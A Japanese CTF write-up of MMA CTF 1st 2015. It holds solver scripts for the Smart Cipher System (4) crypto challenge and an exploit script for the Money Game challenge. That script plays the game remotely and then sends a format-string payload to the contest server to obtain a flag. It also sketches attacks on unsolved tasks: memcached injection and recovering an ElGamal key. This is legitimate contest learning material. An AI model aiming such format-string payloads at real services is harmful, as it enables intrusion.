MMA CTF 1st 2015に出た話

MMA主催のMMA CTF 1st 2015にscryptosとして参加しました．

チームとしては終了時点で2300pts，全体で10位，日本勢の中では1位という結果になりました．

チームメンバーのwriteup:

僕はチームのやるだけ担当なので100点以下のflagを9つ通しただけですが，Smart Cipher Systemの4とMoney Gameは面白かったのでwriteupを書いておきます．

write-ups?

Smart Cipher System (4)

システム自体は1~3と同じ．
いちいちWeb経由で投げるのは面倒なので適当にシェルスクリプトを書いて動かしていた:

1
2
3
4
#!/bin/sh
query="$1"
curl 'http://bow.chal.mmactf.link/~scs/crypt6.cgi' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary02BDiWGl1MhWhe0T' --data-binary $'------WebKitFormBoundary02BDiWGl1MhWhe0T\r\nContent-Disposition: form-data; name="s"\r\n\r\n'"$query"$'\r\n------WebKitFormBoundary02BDiWGl1MhWhe0T\r\nContent-Disposition: form-data; name=".submit"\r\n\r\n\u6697\u53f7\u5316\r\n------WebKitFormBoundary02BDiWGl1MhWhe0T--\r\n' -s \
  | grep '<h1>Smart Cipher System' | sed -E 's/^.*>([0-9a-f ]+)<fo.*$/\1/'

しばらく実験しながら適当に考察していた．

長さに応じて順番が定まっているらしく，45文字の適当な文字列を突っ込んでポチポチ対応表を作って対応させた．
順番さえ戻せれば何も考えずに連続する2文字のテーブルを作って暗号文と対応させるだけでflagが出る．

table.py: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
from subprocess import check_output
import itertools
import string
table = {}
charset = 'MMA{}0123456789abcdef'
for guess in itertools.product(charset, repeat=2):
  x = ''.join(guess)
  print x
  res = check_output(['./ask', x])
  table[x] = int(res.split(' ')[1], 16)
print repr(table)

table:

1
{'6{': 222, '6}': 95, 'M5': 166, 'M4': 134, 'M7': 230, 'M6': 198, 'M1': 38, 'M0': 6, '3M': 106, 'M2': 70, '3A': 10, 'M9': 39, 'M8': 7, '3{': 219, '3}': 235, '3c': 27, '3b': 19, '3a': 11, '3f': 51, '3e': 43, '3d': 35, 'Me': 172, 'Md': 140, 'Mf': 204, 'Ma': 44, 'Mc': 108, 'Mb': 76, 'M}': 175, 'M{': 111, '39': 201, '38': 193, 'MA': 40, 'MM': 169, '32': 145, '31': 137, '30': 129, '37': 185, '36': 177, '35': 169, '34': 161, '9a': 194, '9c': 198, '9b': 196, '9e': 202, '9d': 200, '9f': 204, '9{': 246, '9}': 250, '9M': 154, '9A': 130, '99': 114, '98': 112, '91': 98, '90': 96, '93': 102, '92': 100, '95': 106, '94': 104, '97': 110, '96': 108, 'f0': 12, 'f1': 76, 'f2': 140, 'f3': 204, 'f4': 13, 'f5': 77, 'f6': 141, 'f7': 205, 'f8': 14, 'f9': 78, 'f{': 222, 'f}': 95, 'fa': 88, 'fb': 152, 'fc': 216, 'fd': 25, 'fe': 89, 'ff': 153, 'fA': 80, 'fM': 83, '24': 208, '25': 212, '26': 216, '27': 220, '20': 192, '21': 196, '22': 200, '23': 204, '28': 224, '29': 228, '2A': 5, '2M': 53, '2}': 245, '2{': 237, '2d': 145, '2e': 149, '2f': 153, '2a': 133, '2b': 137, '2c': 141, 'ee': 172, 'ed': 140, 'ef': 204, 'ea': 44, 'ec': 108, 'eb': 76, 'e}': 175, '88': 56, '89': 57, 'e{': 111, '82': 50, '83': 51, '80': 48, '81': 49, '86': 54, '87': 55, '84': 52, '85': 53, 'eM': 169, 'eA': 40, '8b': 98, '8c': 99, '8a': 97, '8f': 102, '8d': 100, '8e': 101, '8{': 123, 'e9': 39, 'e8': 7, '8}': 125, 'e5': 166, 'e4': 134, 'e7': 230, 'e6': 198, 'e1': 38, 'e0': 6, 'e3': 102, 'e2': 70, '8M': 77, '8A': 65, '{3': 153, '1A': 130, '1M': 154, '1{': 246, '1}': 250, '1a': 194, '1c': 198, '1b': 196, '1e': 202, '1d': 200, '1f': 204, '11': 98, '10': 96, '13': 102, '12': 100, '15': 106, '14': 104, '17': 110, '16': 108, '19': 114, '18': 112, '{7': 185, '7f': 51, '7e': 178, '7d': 50, '7c': 177, 'M3': 102, '7a': 176, '{6': 177, '7}': 190, '7{': 189, '7A': 160, '7M': 166, '77': 155, '76': 27, '75': 154, '74': 26, '73': 153, '72': 25, '71': 152, '70': 24, '79': 156, '78': 28, 'd8': 131, 'd9': 147, 'd6': 99, 'd7': 115, 'd4': 67, 'd5': 83, 'd2': 35, 'd3': 51, 'd0': 3, 'd1': 19, 'df': 102, 'dd': 70, 'de': 86, 'db': 38, 'dc': 54, 'da': 22, 'd}': 215, 'd{': 183, 'dM': 212, 'dA': 20, '02': 50, '03': 51, '00': 48, '01': 49, '06': 54, '07': 55, '04': 52, '05': 53, '08': 56, '09': 57, '0A': 65, '0M': 77, '0{': 123, '0}': 125, '0b': 98, '0c': 99, '0a': 97, '0f': 102, '0d': 100, '0e': 101, '}5': 166, '}4': 134, '}7': 230, '}6': 198, '}1': 38, '}0': 6, '}3': 102, '}2': 70, 'cc': 27, 'cb': 19, 'ca': 11, '}9': 39, 'cf': 51, 'ce': 43, 'cd': 35, '60': 12, '61': 76, '62': 140, '63': 204, '64': 13, '65': 77, 'c}': 235, '67': 205, '68': 14, '69': 78, '7b': 49, 'cM': 106, 'cA': 10, '{4': 161, '6a': 88, '6b': 152, '6c': 216, '6d': 25, '6e': 89, '6f': 153, '}}': 175, '}{': 111, '}e': 172, '}d': 140, 'c9': 201, '}f': 204, '}a': 44, '}c': 108, '}b': 76, 'c3': 153, 'c2': 145, 'c1': 137, 'c0': 129, 'c7': 185, 'c6': 177, 'c5': 169, 'c4': 161, '6A': 80, '6M': 83, '33': 153, '}A': 40, '}M': 169, 'ac': 198, 'ab': 196, '42': 35, '5M': 169, '5A': 40, '5}': 175, '5{': 111, '5e': 172, '5d': 140, '5f': 204, '5a': 44, '5c': 108, '5b': 76, '}8': 7, 'c{': 219, '59': 39, '58': 7, '55': 166, '54': 134, '57': 230, '56': 198, '51': 38, '50': 6, '53': 102, '52': 70, '66': 141, 'b4': 208, 'b5': 212, 'b6': 216, 'b7': 220, 'b0': 192, 'b1': 196, 'b2': 200, 'b3': 204, 'b8': 224, 'b9': 228, 'bd': 145, 'be': 149, 'bf': 153, 'ba': 133, 'bb': 137, 'bc': 141, 'b}': 245, 'b{': 237, '{c': 27, 'bA': 5, '{b': 19, 'bM': 53, '{a': 11, '4M': 212, '{f': 51, '{e': 43, '{d': 35, 'Ab': 196, 'Ad': 200, 'aa': 194, '{2': 145, '{1': 137, '{0': 129, 'ae': 202, 'ad': 200, '{5': 169, 'af': 204, '{9': 201, '{8': 193, 'a{': 246, 'a}': 250, 'aA': 130, '48': 131, '49': 147, '46': 99, '47': 115, '44': 67, '45': 83, 'aM': 154, '43': 51, '40': 3, '41': 19, 'A1': 98, 'A0': 96, 'A3': 102, 'A2': 100, 'A5': 106, 'A4': 104, 'A7': 110, 'A6': 108, 'A9': 114, 'A8': 112, 'AA': 130, '{{': 219, 'AM': 154, '{}': 235, 'a1': 98, 'a0': 96, 'a3': 102, 'a2': 100, 'a5': 106, 'a4': 104, 'a7': 110, 'a6': 108, 'a9': 114, 'a8': 112, 'A{': 246, '4A': 20, 'Aa': 194, 'Ac': 198, '4}': 215, 'Ae': 202, '4{': 183, 'Af': 204, 'A}': 250, '{A': 10, 'c8': 193, '4f': 102, '4d': 70, '4e': 86, '4b': 38, '4c': 54, '{M': 106, '4a': 22}

solve.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
enc_table = eval(open('./table').read())
def parse(s):
  return map(lambda x: int(x, 16), s.split(' '))
enc_raw = '62 a9 6c 28 0e 33 31 c6 68 cd 66 66 59 46 cc 53 0c 98 31 65 c6 35 c9 a9 60 4e 37 b0 33 46 0d 60 46 26 66 33 cc e6 a9 f6 6c 07 2b 23 af'
enc = parse(enc_raw)
# byte flipping; ex: 0xfc -> 0xcf
def byteflip(b): return int(hex(b)[2:][::-1], 16)
_sortbytes_table = [
  (44, 44), (43, 42), (42, 40), (41, 38), (40, 36), (39, 34), (38, 32), (37, 30), (36, 28), (35, 26), (34, 24), (33, 22), (32, 20), (31, 18), (30, 16), (29, 14), (28, 12), (27, 10), (26, 8), (25, 6), (24, 4), (23, 2), (22, 0), (21, 33), (20, 21), (19, 41), (18, 19), (17, 31), (16, 17), (15, 37), (14, 15), (13, 29), (12, 13), (11, 43), (10, 11), (9, 26), (8, 9), (7, 35), (6, 7), (5, 25), (4, 5), (3, 39), (2, 3), (1, 23), (0, 1),
]
def sortbytes_rev(li):
  assert len(li) == 45
  res = []
  for i in xrange(len(li)):
    index = [x for x in _sortbytes_table if x[0] == i][0][1]
    res += [li[index]]
  return res
enc = sortbytes_rev(enc)
print ' '.join(map(lambda x:hex(x)[2:], enc))
flag = ''
for i in xrange(0, 45):
  print '[*] %d/45' % i
  print flag
  if i == 0: flag += chr(byteflip(enc[i]) / 2)
  else:
    kouho = [key[1] for key in enc_table if key[0] == flag[i-1] and enc_table[key] == enc[i]]
    if kouho == []: flag += 'a'
    else: flag += kouho[0]
print flag

MMA{f9cf7a3ddd5710e85116814fef01c907f4df35ce}

配点低すぎない…?

Money Game

Reverse, PPC, Pwnということで，不穏なジャンルだなあと思いながら解析していた．しゃろプロがゲームクリア後の名前を入力する部分でのfsbの脆弱性を見つけてくれた．
ゲーム部分をPPCとして処理する必要があるらしく，また乱数のseed(srand)はtime(NULL)から引いていたのでこれも利用して競プロのプロであるところのとさかプロにお願いしてソルバを書いてもらった．
入出力(通信)部分などは僕が書いて，そこからソルバを呼び出して返すようにした．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
from ebil import *   # -> https://github.com/193s/ebil
import re
from subprocess import check_output
exec ebil('./moneygame', remote=('pwn1.chal.mmactf.link', 21345))
cmds = check_output('./solve').split('\n')
def _s(cmd, a):
  r.recvregex('.*Action .*: ')
  r.sendline(cmd)
  r.recvuntil(']: ')
  r.sendline(str(a))
def buy_or_sell(cmd, a, b):
  _s(cmd, a)
  r.recvuntil(']: ')
  r.sendline(str(b))
def buy(stock, num):
  buy_or_sell('Buy', stock, num)
def sell(stock, num):
  buy_or_sell('Sell', stock, num)
def stay():
  r.recvregex('.*Action .*: ')
  r.sendline('Rest')
def buy_or_sell_all(cmd, a):
  _s(cmd, a)
  r.recvuntil('0-')
  max_num = r.recvuntil(')', drop=True)
  #print 'max:', max_num
  r.sendline(str(max_num))
def buy_all(stock):
  buy_or_sell_all('Buy', stock)
def sell_all(stock):
  buy_or_sell_all('Sell', stock)
restmode = False
for i in xrange(54):
  r.recvuntil('Week')
  r.recvline()
  r.recvline() # you have ??~
  items = []
  for j in [1, 2, 3]:
    s = r.recvline()
  if restmode:
    stay()
    continue
  cmd = cmds[i]
  #print '$', cmd
  if cmd == '':
    restmode = True
    stay()
    continue
  if 'Stay' in cmd: stay()
  else:
    op = int(cmd.split(' ')[1])+1
    if 'Sell' in cmd: sell_all(op)
    if 'Buy'  in cmd:  buy_all(op)
print r.recv()
sendline('\xb8\xa2\x04\x08%46c%7$hhn') # -> flag2
#sendline('give_me_flag') -> flag1
print r.recv()

特にローカルとの時差はないようなのでそのままローカルの時間で動かすだけで済んだが，精度が良くないようで20回ぐらい実行しないとクリアできなかった．
flag2のfsbのpayloadはしゃろプロが事前に書いてくれていたのでそれを入れるだけで取れた．(filenameの”flag1”を”flag2”に書き換えるだけ)

flag1: MMA{YouAreRichPerson}
flag2: MMA{FLAG_F0rmatStringAttack!}

flag2はボーナス問題でした

解けなかった問題

regrettable ecc

やるだけ，終わってから問題見たらすぐ解けたので本当につらい

login as admin!(2)

memcachedを使っているのはわかっていたがinjectionできるのを知らなかった…

perfect matching

PPC部分はとさかプロにソルバをお願いしていて，最初の方のケースではいい感じに動いていたが，問題の生成法則だとgenerator2あたりから解がないケースが出てきてしまう．ずっと回していたがcase 21がまでが限界だった．
負数のindexを突っ込むことで同じノードが2回使えるということに気付けず終了（本当にすいません）

alicegame

ElGamal暗号．m=1,r=1みたいなクエリを投げることで公開鍵のパラメータ(p, g, h)は特定できる（ここまではCTF中に書いていた）．

p-1の素因数がある程度小さいとPohlig-Hellman algorithmなどで離散対数(h=g^x mod pなるx = 秘密鍵)が高速に求まる．
pは途中から公開されたコードを読むとCrypto.Util.number.getPrime(201)で生成していることがわかる．何回か試行すれば上の条件を満たすpが引けるのでそのまま秘密鍵xを出して終了．
書くだけ(まだ解けてない) 時間さえ掛ければ解けていた気がするので悔しい…. 学校休めばよかった…

最後に

問題の質もとても良く，本当に楽しいCTFでした．精進します